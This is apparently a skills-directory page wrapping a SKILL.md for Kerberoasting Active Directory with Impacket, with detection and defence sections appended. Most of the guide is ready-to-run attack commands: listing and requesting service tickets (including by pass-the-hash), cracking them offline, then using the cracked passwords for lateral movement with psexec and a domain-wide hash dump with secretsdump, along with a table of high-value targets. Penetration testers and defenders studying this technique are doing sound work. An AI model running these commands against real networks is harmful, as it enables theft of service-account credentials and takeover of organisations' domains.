[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6AEPF89VBX2GCAKN8KWSW6C":3,"skill-same:01M6AEPF89VBX2GCAKN8KWSW6C":140},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":39,"linkOnly":40,"markdownContent":41,"markdownBody":42,"frontMatter":43,"refName":65,"commitSha":66,"skillDirectory":67,"forksCount":68,"repositoryHtmlUrl":69,"repositoryHomepageUrl":70,"ownerHtmlUrl":71,"ownerBlogUrl":72,"ownerDescription":73,"updatedAt":74,"install":75,"resources":88},"01M6AEPF89VBX2GCAKN8KWSW6C","exploiting-kerberoasting-with-impacket",null,"Performs Kerberoasting (MITRE ATT&CK T1558.003) using Impacket's GetUserSPNs.py to request Kerberos TGS tickets for SPN-registered service accounts, then cracks the extracted RC4\u002FAES-encrypted hashes offline to recover service account credentials. Use during authorized Active Directory penetration tests or red-team engagements for credential access against service accounts via Kerberos ticket-granting-service requests.","mukul975\u002FAnthropic-Cybersecurity-Skills","mukul975","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F42860185?v=4","01M6ADEQR8T5M4EEG6C67BQCWF","Mahipal","01M6ADJPMYWG1E5GM1FWBE3128",35925,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fexploiting-kerberoasting-with-impacket\u002FSKILL.md",[],[19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38],"Impacket","exploiting kerberoasting with impacket","kerberoasting","kerberos","cybersecurity","t1558-003","t1059","t1078","t1003","t1558","protocol","ATT&CK","offline","directory","service-accounts","network","active-directory","credential-access","red-team","server","2026-11-10 10:12:30",false,"---\nname: exploiting-kerberoasting-with-impacket\ndescription: >-\n  Performs Kerberoasting (MITRE ATT&CK T1558.003) using Impacket's GetUserSPNs.py\n  to request Kerberos TGS tickets for SPN-registered service accounts, then cracks\n  the extracted RC4\u002FAES-encrypted hashes offline to recover service account\n  credentials. Use during authorized Active Directory penetration tests or\n  red-team engagements for credential access against service accounts via\n  Kerberos ticket-granting-service requests.\ndomain: cybersecurity\nsubdomain: red-teaming\ntags:\n- kerberoasting\n- impacket\n- active-directory\n- credential-access\n- kerberos\n- t1558-003\n- service-accounts\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nd3fend_techniques:\n- Application Protocol Command Analysis\n- Network Isolation\n- Network Traffic Analysis\n- Client-server Payload Profiling\n- Network Traffic Community Deviation\nnist_csf:\n- ID.RA-01\n- GV.OV-02\n- DE.AE-07\nmitre_attack:\n- T1595\n- T1190\n- T1059\n- T1078\n- T1003\n---\n\n# Exploiting Kerberoasting with Impacket\n\n## Overview\n\nKerberoasting (MITRE ATT&CK T1558.003) is a credential access technique that targets Active Directory service accounts by requesting Kerberos TGS (Ticket Granting Service) tickets for accounts with Service Principal Names (SPNs). The TGS ticket is encrypted with the service account's NTLM hash (RC4 or AES), enabling offline brute-force cracking. Impacket's `GetUserSPNs.py` is the standard tool for Linux-based Kerberoasting attacks.\n\n\n## When to Use\n\n- When performing authorized security testing that involves exploiting kerberoasting with impacket\n- When analyzing malware samples or attack artifacts in a controlled environment\n- When conducting red team exercises or penetration testing engagements\n- When building detection capabilities based on offensive technique understanding\n\n## Prerequisites\n\n- Valid domain credentials (any domain user can request TGS tickets)\n- Network access to a Domain Controller (TCP\u002F88 Kerberos, TCP\u002F389 LDAP)\n- Impacket installed (`pip install impacket`)\n- Hashcat or John the Ripper for offline cracking\n- Wordlist (e.g., rockyou.txt, SecLists)\n\n\n> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.\n\n## MITRE ATT&CK Mapping\n\n| Technique ID | Name | Tactic |\n|---|---|---|\n| T1558.003 | Steal or Forge Kerberos Tickets: Kerberoasting | Credential Access |\n| T1087.002 | Account Discovery: Domain Account | Discovery |\n| T1110.002 | Brute Force: Password Cracking | Credential Access |\n\n## Step 1: Enumerate Kerberoastable Accounts\n\n```bash\n# List all user accounts with SPNs (without requesting tickets)\nGetUserSPNs.py corp.local\u002Fjsmith:Password123 -dc-ip 10.10.10.1\n\n# Output example:\n# ServicePrincipalName          Name        MemberOf                          PasswordLastSet\n# ----------------------------  ----------  --------------------------------  -------------------\n# MSSQLSvc\u002FSQL01.corp.local     svc_sql     CN=Domain Admins,CN=Users,...     2023-01-15 10:30:22\n# HTTP\u002Fweb01.corp.local         svc_web     CN=Web Admins,CN=Users,...        2024-03-20 14:15:00\n# HOST\u002Fbackup01.corp.local      svc_backup  CN=Backup Operators,CN=Users,...  2022-06-01 08:45:10\n```\n\n## Step 2: Request TGS Tickets\n\n```bash\n# Request TGS tickets for all Kerberoastable accounts\nGetUserSPNs.py corp.local\u002Fjsmith:Password123 -dc-ip 10.10.10.1 -request\n\n# Request ticket for a specific SPN\nGetUserSPNs.py corp.local\u002Fjsmith:Password123 -dc-ip 10.10.10.1 \\\n  -request-user svc_sql\n\n# Output format (hashcat-compatible):\n# $krb5tgs$23$*svc_sql$CORP.LOCAL$MSSQLSvc\u002FSQL01.corp.local*$abc123...\n\n# Save to file for cracking\nGetUserSPNs.py corp.local\u002Fjsmith:Password123 -dc-ip 10.10.10.1 \\\n  -request -outputfile kerberoast_hashes.txt\n\n# Using NTLM hash instead of password (Pass-the-Hash)\nGetUserSPNs.py corp.local\u002Fjsmith -hashes :aad3b435b51404eeaad3b435b51404ee \\\n  -dc-ip 10.10.10.1 -request -outputfile hashes.txt\n\n# Request AES tickets (if available)\nGetUserSPNs.py corp.local\u002Fjsmith:Password123 -dc-ip 10.10.10.1 \\\n  -request -outputfile hashes.txt\n```\n\n## Step 3: Crack TGS Tickets Offline\n\n```bash\n# Hashcat - RC4 encrypted tickets (mode 13100)\nhashcat -m 13100 kerberoast_hashes.txt \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt \\\n  --rules-file \u002Fusr\u002Fshare\u002Fhashcat\u002Frules\u002Fbest64.rule\n\n# Hashcat - AES-256 encrypted tickets (mode 19700)\nhashcat -m 19700 kerberoast_hashes.txt \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt\n\n# John the Ripper\njohn --wordlist=\u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt kerberoast_hashes.txt\n\n# Check results\nhashcat -m 13100 kerberoast_hashes.txt --show\n# $krb5tgs$23$*svc_sql$CORP.LOCAL$...*$...:Summer2024!\n```\n\n## Step 4: Validate and Use Cracked Credentials\n\n```bash\n# Verify cracked credentials\ncrackmapexec smb 10.10.10.1 -u svc_sql -p 'Summer2024!' -d corp.local\n\n# Check for local admin access\ncrackmapexec smb 10.10.10.0\u002F24 -u svc_sql -p 'Summer2024!' -d corp.local --local-auth\n\n# Use credentials for lateral movement\npsexec.py corp.local\u002Fsvc_sql:'Summer2024!'@SQL01.corp.local\n\n# If service account is Domain Admin\nsecretsdump.py corp.local\u002Fsvc_sql:'Summer2024!'@10.10.10.1 -just-dc-ntlm\n```\n\n## Alternative Tools\n\n### Rubeus (Windows)\n\n```powershell\n# Kerberoast all accounts\n.\\Rubeus.exe kerberoast \u002Foutfile:hashes.txt\n\n# Target specific user\n.\\Rubeus.exe kerberoast \u002Fuser:svc_sql \u002Foutfile:svc_sql_hash.txt\n\n# Request RC4-only tickets (easier to crack)\n.\\Rubeus.exe kerberoast \u002Ftgtdeleg \u002Foutfile:hashes.txt\n\n# Kerberoast with AES\n.\\Rubeus.exe kerberoast \u002Faes \u002Foutfile:hashes.txt\n```\n\n### PowerView (PowerShell)\n\n```powershell\nImport-Module .\\PowerView.ps1\nInvoke-Kerberoast -OutputFormat Hashcat | Select-Object -ExpandProperty Hash | Out-File hashes.txt\n```\n\n## Targeted Kerberoasting\n\nHigh-value targets for Kerberoasting:\n\n| Account Type | Why | Risk |\n|---|---|---|\n| Service accounts in Domain Admins | Direct path to domain compromise | Critical |\n| SQL service accounts (MSSQLSvc) | Often have excessive privileges | High |\n| Exchange service accounts | Access to all email | High |\n| Accounts with AdminCount=1 | Previously\u002Fcurrently privileged | High |\n| Accounts with old passwords | More likely to use weak passwords | Medium |\n\n## Detection\n\n### Windows Event Logs\n\n```\nEvent ID 4769 - Kerberos Service Ticket Request\n- Monitor for: Encryption type 0x17 (RC4-HMAC) when AES is expected\n- Monitor for: Single user requesting many TGS tickets in short period\n- Monitor for: Service ticket requests from unusual source IPs\n```\n\n### Sigma Rule\n\n```yaml\ntitle: Potential Kerberoasting Activity\nstatus: stable\nlogsource:\n    product: windows\n    service: security\ndetection:\n    selection:\n        EventID: 4769\n        TicketEncryptionType: '0x17'  # RC4\n        ServiceName|endswith: '$'\n    filter:\n        ServiceName: 'krbtgt'\n    condition: selection and not filter\nlevel: medium\ntags:\n    - attack.credential_access\n    - attack.t1558.003\n```\n\n## Defensive Recommendations\n\n1. **Use Group Managed Service Accounts (gMSA)** - 240-character random passwords, auto-rotated\n2. **Set strong passwords (25+ chars)** on all service accounts\n3. **Enable AES-only encryption** - Disable RC4 via GPO\n4. **Monitor Event ID 4769** for RC4 TGS requests\n5. **Implement Managed Service Accounts** where gMSA is not feasible\n6. **Regular audits** - Run BloodHound to identify Kerberoastable accounts\n7. **Protected Users group** - Add sensitive service accounts\n8. **Honeypot SPNs** - Create decoy accounts with SPNs to detect attacks\n\n## References\n\n- MITRE ATT&CK T1558.003: https:\u002F\u002Fattack.mitre.org\u002Ftechniques\u002FT1558\u002F003\u002F\n- Impacket: https:\u002F\u002Fgithub.com\u002Ffortra\u002Fimpacket\n- Harmj0y's Kerberoasting Revisited: https:\u002F\u002Fposts.specterops.io\u002Fkerberoasting-revisited-d434351bd4d1\n- Detection Strategy DET0157: https:\u002F\u002Fattack.mitre.org\u002Fdetectionstrategies\u002FDET0157\u002F\n","# Exploiting Kerberoasting with Impacket\n\n## Overview\n\nKerberoasting (MITRE ATT&CK T1558.003) is a credential access technique that targets Active Directory service accounts by requesting Kerberos TGS (Ticket Granting Service) tickets for accounts with Service Principal Names (SPNs). The TGS ticket is encrypted with the service account's NTLM hash (RC4 or AES), enabling offline brute-force cracking. Impacket's `GetUserSPNs.py` is the standard tool for Linux-based Kerberoasting attacks.\n\n\n## When to Use\n\n- When performing authorized security testing that involves exploiting kerberoasting with impacket\n- When analyzing malware samples or attack artifacts in a controlled environment\n- When conducting red team exercises or penetration testing engagements\n- When building detection capabilities based on offensive technique understanding\n\n## Prerequisites\n\n- Valid domain credentials (any domain user can request TGS tickets)\n- Network access to a Domain Controller (TCP\u002F88 Kerberos, TCP\u002F389 LDAP)\n- Impacket installed (`pip install impacket`)\n- Hashcat or John the Ripper for offline cracking\n- Wordlist (e.g., rockyou.txt, SecLists)\n\n\n> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.\n\n## MITRE ATT&CK Mapping\n\n| Technique ID | Name | Tactic |\n|---|---|---|\n| T1558.003 | Steal or Forge Kerberos Tickets: Kerberoasting | Credential Access |\n| T1087.002 | Account Discovery: Domain Account | Discovery |\n| T1110.002 | Brute Force: Password Cracking | Credential Access |\n\n## Step 1: Enumerate Kerberoastable Accounts\n\n```bash\n# List all user accounts with SPNs (without requesting tickets)\nGetUserSPNs.py corp.local\u002Fjsmith:Password123 -dc-ip 10.10.10.1\n\n# Output example:\n# ServicePrincipalName          Name        MemberOf                          PasswordLastSet\n# ----------------------------  ----------  --------------------------------  -------------------\n# MSSQLSvc\u002FSQL01.corp.local     svc_sql     CN=Domain Admins,CN=Users,...     2023-01-15 10:30:22\n# HTTP\u002Fweb01.corp.local         svc_web     CN=Web Admins,CN=Users,...        2024-03-20 14:15:00\n# HOST\u002Fbackup01.corp.local      svc_backup  CN=Backup Operators,CN=Users,...  2022-06-01 08:45:10\n```\n\n## Step 2: Request TGS Tickets\n\n```bash\n# Request TGS tickets for all Kerberoastable accounts\nGetUserSPNs.py corp.local\u002Fjsmith:Password123 -dc-ip 10.10.10.1 -request\n\n# Request ticket for a specific SPN\nGetUserSPNs.py corp.local\u002Fjsmith:Password123 -dc-ip 10.10.10.1 \\\n  -request-user svc_sql\n\n# Output format (hashcat-compatible):\n# $krb5tgs$23$*svc_sql$CORP.LOCAL$MSSQLSvc\u002FSQL01.corp.local*$abc123...\n\n# Save to file for cracking\nGetUserSPNs.py corp.local\u002Fjsmith:Password123 -dc-ip 10.10.10.1 \\\n  -request -outputfile kerberoast_hashes.txt\n\n# Using NTLM hash instead of password (Pass-the-Hash)\nGetUserSPNs.py corp.local\u002Fjsmith -hashes :aad3b435b51404eeaad3b435b51404ee \\\n  -dc-ip 10.10.10.1 -request -outputfile hashes.txt\n\n# Request AES tickets (if available)\nGetUserSPNs.py corp.local\u002Fjsmith:Password123 -dc-ip 10.10.10.1 \\\n  -request -outputfile hashes.txt\n```\n\n## Step 3: Crack TGS Tickets Offline\n\n```bash\n# Hashcat - RC4 encrypted tickets (mode 13100)\nhashcat -m 13100 kerberoast_hashes.txt \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt \\\n  --rules-file \u002Fusr\u002Fshare\u002Fhashcat\u002Frules\u002Fbest64.rule\n\n# Hashcat - AES-256 encrypted tickets (mode 19700)\nhashcat -m 19700 kerberoast_hashes.txt \u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt\n\n# John the Ripper\njohn --wordlist=\u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt kerberoast_hashes.txt\n\n# Check results\nhashcat -m 13100 kerberoast_hashes.txt --show\n# $krb5tgs$23$*svc_sql$CORP.LOCAL$...*$...:Summer2024!\n```\n\n## Step 4: Validate and Use Cracked Credentials\n\n```bash\n# Verify cracked credentials\ncrackmapexec smb 10.10.10.1 -u svc_sql -p 'Summer2024!' -d corp.local\n\n# Check for local admin access\ncrackmapexec smb 10.10.10.0\u002F24 -u svc_sql -p 'Summer2024!' -d corp.local --local-auth\n\n# Use credentials for lateral movement\npsexec.py corp.local\u002Fsvc_sql:'Summer2024!'@SQL01.corp.local\n\n# If service account is Domain Admin\nsecretsdump.py corp.local\u002Fsvc_sql:'Summer2024!'@10.10.10.1 -just-dc-ntlm\n```\n\n## Alternative Tools\n\n### Rubeus (Windows)\n\n```powershell\n# Kerberoast all accounts\n.\\Rubeus.exe kerberoast \u002Foutfile:hashes.txt\n\n# Target specific user\n.\\Rubeus.exe kerberoast \u002Fuser:svc_sql \u002Foutfile:svc_sql_hash.txt\n\n# Request RC4-only tickets (easier to crack)\n.\\Rubeus.exe kerberoast \u002Ftgtdeleg \u002Foutfile:hashes.txt\n\n# Kerberoast with AES\n.\\Rubeus.exe kerberoast \u002Faes \u002Foutfile:hashes.txt\n```\n\n### PowerView (PowerShell)\n\n```powershell\nImport-Module .\\PowerView.ps1\nInvoke-Kerberoast -OutputFormat Hashcat | Select-Object -ExpandProperty Hash | Out-File hashes.txt\n```\n\n## Targeted Kerberoasting\n\nHigh-value targets for Kerberoasting:\n\n| Account Type | Why | Risk |\n|---|---|---|\n| Service accounts in Domain Admins | Direct path to domain compromise | Critical |\n| SQL service accounts (MSSQLSvc) | Often have excessive privileges | High |\n| Exchange service accounts | Access to all email | High |\n| Accounts with AdminCount=1 | Previously\u002Fcurrently privileged | High |\n| Accounts with old passwords | More likely to use weak passwords | Medium |\n\n## Detection\n\n### Windows Event Logs\n\n```\nEvent ID 4769 - Kerberos Service Ticket Request\n- Monitor for: Encryption type 0x17 (RC4-HMAC) when AES is expected\n- Monitor for: Single user requesting many TGS tickets in short period\n- Monitor for: Service ticket requests from unusual source IPs\n```\n\n### Sigma Rule\n\n```yaml\ntitle: Potential Kerberoasting Activity\nstatus: stable\nlogsource:\n    product: windows\n    service: security\ndetection:\n    selection:\n        EventID: 4769\n        TicketEncryptionType: '0x17'  # RC4\n        ServiceName|endswith: '$'\n    filter:\n        ServiceName: 'krbtgt'\n    condition: selection and not filter\nlevel: medium\ntags:\n    - attack.credential_access\n    - attack.t1558.003\n```\n\n## Defensive Recommendations\n\n1. **Use Group Managed Service Accounts (gMSA)** - 240-character random passwords, auto-rotated\n2. **Set strong passwords (25+ chars)** on all service accounts\n3. **Enable AES-only encryption** - Disable RC4 via GPO\n4. **Monitor Event ID 4769** for RC4 TGS requests\n5. **Implement Managed Service Accounts** where gMSA is not feasible\n6. **Regular audits** - Run BloodHound to identify Kerberoastable accounts\n7. **Protected Users group** - Add sensitive service accounts\n8. **Honeypot SPNs** - Create decoy accounts with SPNs to detect attacks\n\n## References\n\n- MITRE ATT&CK T1558.003: https:\u002F\u002Fattack.mitre.org\u002Ftechniques\u002FT1558\u002F003\u002F\n- Impacket: https:\u002F\u002Fgithub.com\u002Ffortra\u002Fimpacket\n- Harmj0y's Kerberoasting Revisited: https:\u002F\u002Fposts.specterops.io\u002Fkerberoasting-revisited-d434351bd4d1\n- Detection Strategy DET0157: https:\u002F\u002Fattack.mitre.org\u002Fdetectionstrategies\u002FDET0157\u002F\n",{"name":5,"tags":44,"author":46,"domain":23,"license":15,"version":47,"nist_csf":48,"subdomain":52,"description":7,"mitre_attack":53,"d3fend_techniques":59},[21,45,35,36,22,24,33],"impacket","mahipal","1.0",[49,50,51],"ID.RA-01","GV.OV-02","DE.AE-07","red-teaming",[54,55,56,57,58],"T1595","T1190","T1059","T1078","T1003",[60,61,62,63,64],"Application Protocol Command Analysis","Network Isolation","Network Traffic Analysis","Client-server Payload Profiling","Network Traffic Community Deviation","main","54a798831d2266a3ca61ce68a7acb80b81160d57","skills\u002Fexploiting-kerberoasting-with-impacket",4384,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills","https:\u002F\u002Fmahipal.engineer\u002FAnthropic-Cybersecurity-Skills\u002F","https:\u002F\u002Fgithub.com\u002Fmukul975","Mahipal.engineer","🔐 Cybersecurity | 💻 Dev | 📷 Street Photographer\r\n🎓 MSc | 📚 Research & AI Security","2026-08-31 12:32:44",{"source":8,"skillName":5,"commands":76,"prompt":86,"zipAvailable":87},[77,80,83],{"tool":78,"command":79},"npx","npx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill exploiting-kerberoasting-with-impacket",{"tool":81,"command":82},"bunx","bunx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill exploiting-kerberoasting-with-impacket",{"tool":84,"command":85},"pnpm","pnpm dlx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill exploiting-kerberoasting-with-impacket","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fexploiting-kerberoasting-with-impacket\u002FSKILL.md",true,[89,95,100,106,110,114,118,122,128,132,136],{"path":90,"resourceType":91,"resourceTypeDesc":92,"sizeBytes":93,"sourceHtmlUrl":94},"assets\u002Ftemplate.md","ASSET","资产文件",2827,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fexploiting-kerberoasting-with-impacket\u002Fassets\u002Ftemplate.md",{"path":96,"resourceType":96,"resourceTypeDesc":97,"sizeBytes":98,"sourceHtmlUrl":99},"LICENSE","许可证",11255,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fexploiting-kerberoasting-with-impacket\u002FLICENSE",{"path":101,"resourceType":102,"resourceTypeDesc":103,"sizeBytes":104,"sourceHtmlUrl":105},"references\u002Fapi_guide.md","REFERENCE","参考文档",10185,"https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fscientific\u002Fopenalex-database\u002Freferences\u002Fapi_guide.md",{"path":107,"resourceType":102,"resourceTypeDesc":103,"sizeBytes":108,"sourceHtmlUrl":109},"references\u002Fapi-reference.md",2286,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fexploiting-kerberoasting-with-impacket\u002Freferences\u002Fapi-reference.md",{"path":111,"resourceType":102,"resourceTypeDesc":103,"sizeBytes":112,"sourceHtmlUrl":113},"references\u002Fcommon_queries.md",9587,"https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fscientific\u002Fopenalex-database\u002Freferences\u002Fcommon_queries.md",{"path":115,"resourceType":102,"resourceTypeDesc":103,"sizeBytes":116,"sourceHtmlUrl":117},"references\u002Fstandards.md",2228,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fexploiting-kerberoasting-with-impacket\u002Freferences\u002Fstandards.md",{"path":119,"resourceType":102,"resourceTypeDesc":103,"sizeBytes":120,"sourceHtmlUrl":121},"references\u002Fworkflows.md",5445,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fexploiting-kerberoasting-with-impacket\u002Freferences\u002Fworkflows.md",{"path":123,"resourceType":124,"resourceTypeDesc":125,"sizeBytes":126,"sourceHtmlUrl":127},"scripts\u002Fagent.py","SCRIPT","脚本",5318,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fexploiting-kerberoasting-with-impacket\u002Fscripts\u002Fagent.py",{"path":129,"resourceType":124,"resourceTypeDesc":125,"sizeBytes":130,"sourceHtmlUrl":131},"scripts\u002Fopenalex_client.py",10148,"https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fscientific\u002Fopenalex-database\u002Fscripts\u002Fopenalex_client.py",{"path":133,"resourceType":124,"resourceTypeDesc":125,"sizeBytes":134,"sourceHtmlUrl":135},"scripts\u002Fprocess.py",12299,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fexploiting-kerberoasting-with-impacket\u002Fscripts\u002Fprocess.py",{"path":137,"resourceType":124,"resourceTypeDesc":125,"sizeBytes":138,"sourceHtmlUrl":139},"scripts\u002Fquery_helpers.py",8443,"https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fscientific\u002Fopenalex-database\u002Fscripts\u002Fquery_helpers.py",[141,172,196,223,249,276],{"skillNo":142,"name":143,"nameZh":6,"description":144,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":145,"categories":146,"keywords":152,"publishedAt":39},"01M6AGDM3HJXTKXX15ZZ0ZVCJ3","verifying-build-provenance-with-slsa-sigstore","Verifies artifact signatures and SLSA provenance using Sigstore's cosign (verify, verify-attestation, verify-blob-attestation) and slsa-verifier (verify-artifact), enforcing keyless OIDC builder identity and source repo against SLSA Build levels. Use in CI\u002FCD before deploying artifacts, when consuming third-party attestations, establishing a SLSA Build L3 pipeline, or confirming provenance during incident response or admission control.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fverifying-build-provenance-with-slsa-sigstore\u002FSKILL.md",[147],{"categoryNo":148,"categoryName":149,"taxonomyType":150,"taxonomyTypeDesc":151},"01JBSEEDCAT000000000000023","Skill与智能体开发","SCENARIO","使用场景",[153,154,155,156,157,23,158,159,160,161,162,163,164,165,166,167,168,169,170,171],"sigstore","provenance","slsa","verifying build provenance with slsa sigstore","security","incident response","identity","pr","code","artifacts","ci","supply-chain","pipeline","supply-chain-security","t1195","attestation","code-signing","cosign","keyless",{"skillNo":173,"name":174,"nameZh":6,"description":175,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":176,"categories":177,"keywords":179,"publishedAt":39},"01M6AGDGBPWYVZ2F11GFKJ4HZ9","validating-tpm-measured-boot-attestation","Verifies TPM 2.0 measured-boot integrity and remote attestation with tpm2-tools -- reading PCRs (tpm2_pcrread), replaying the boot event log, generating and checking signed quotes (tpm2_quote\u002Ftpm2_checkquote), and sealing secrets to a PCR policy. Use to confirm a system booted trusted firmware\u002Fkernel for Zero Trust device posture, detect boot-chain tampering via PCR drift, or build a golden-value baseline for fleet attestation.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fvalidating-tpm-measured-boot-attestation\u002FSKILL.md",[178],{"categoryNo":148,"categoryName":149,"taxonomyType":150,"taxonomyTypeDesc":151},[180,168,181,182,157,183,23,160,184,185,186,187,188,189,190,191,192,193,194,195],"boot","TPM","validating tpm measured boot attestation","policy","verification","ZeRO","firmware","Tools","measured-boot","PCR","integrity","secrets","remote-attestation","tpm2-tools","integrity-verification","trusted-computing",{"skillNo":197,"name":198,"nameZh":6,"description":199,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":200,"categories":201,"keywords":206,"publishedAt":39},"01M6AGDCW0Y4FXZ3362GT1941M","validating-backup-integrity-for-recovery","Validates backup integrity through cryptographic hash verification, automated restore testing, corruption detection, and recoverability checks to confirm backups are reliable for disaster recovery and ransomware response. Use before relying on backups for recovery, when building post-backup validation pipelines, auditing backup infrastructure for compliance, or checking immutable\u002Fair-gapped backups for silent corruption or tampering.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fvalidating-backup-integrity-for-recovery\u002FSKILL.md",[202,205],{"categoryNo":203,"categoryName":204,"taxonomyType":150,"taxonomyTypeDesc":151},"01JBSEEDCAT000000000000008","测试与质量",{"categoryNo":148,"categoryName":149,"taxonomyType":150,"taxonomyTypeDesc":151},[190,207,208,209,210,23,211,212,184,213,214,215,216,217,218,26,219,220,221,222],"backup","recovery","validating backup integrity for recovery","testing","infrastructure","validation","compliance","hash-verification","incident-response","ransomware","cryptocurrency","detection","t1490","immutable","disaster-recovery","restore-testing",{"skillNo":224,"name":225,"nameZh":6,"description":226,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":227,"categories":228,"keywords":230,"publishedAt":39},"01M6AGD9GBG2KZ336AE763J3WH","triaging-windows-with-kape","Runs KAPE (Kroll Artifact Parser and Extractor) to collect targeted forensic artifacts (registry hives, $MFT, event logs, prefetch, browser data) via Targets and parse them with Modules wrapping Eric Zimmerman's EZ Tools (PECmd, MFTECmd, RECmd). Use during early incident containment\u002Ftriage when full disk imaging is impractical but a defensible, parseable Windows artifact set is needed quickly, including at-scale remote collection.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-windows-with-kape\u002FSKILL.md",[229],{"categoryNo":148,"categoryName":149,"taxonomyType":150,"taxonomyTypeDesc":151},[231,232,233,23,234,235,236,237,238,239,240,241,242,243,244,245,187,246,247,248],"windows","kape","triaging windows with kape","registry","browser","logs","windows-forensics","dfir","mft","mftecmd","data","prefetch","eric-zimmerman","digital-forensics","SET","collection","pecmd","artifact-collection",{"skillNo":250,"name":251,"nameZh":6,"description":252,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":253,"categories":254,"keywords":256,"publishedAt":39},"01M6AGD5PW5J4EVZM958WD74ZQ","triaging-vulnerabilities-with-ssvc-framework","Triages and prioritizes vulnerabilities with CISA's Stakeholder-Specific Vulnerability Categorization (SSVC) decision tree, weighing exploitation status (via the CISA KEV catalog and FIRST EPSS API), technical impact, automatability, and mission prevalence to output Track\u002FTrack*\u002FAttend\u002FAct decisions. Use when prioritizing vulnerability scan results (OpenVAS, Nessus, Qualys) for remediation planning beyond raw CVSS 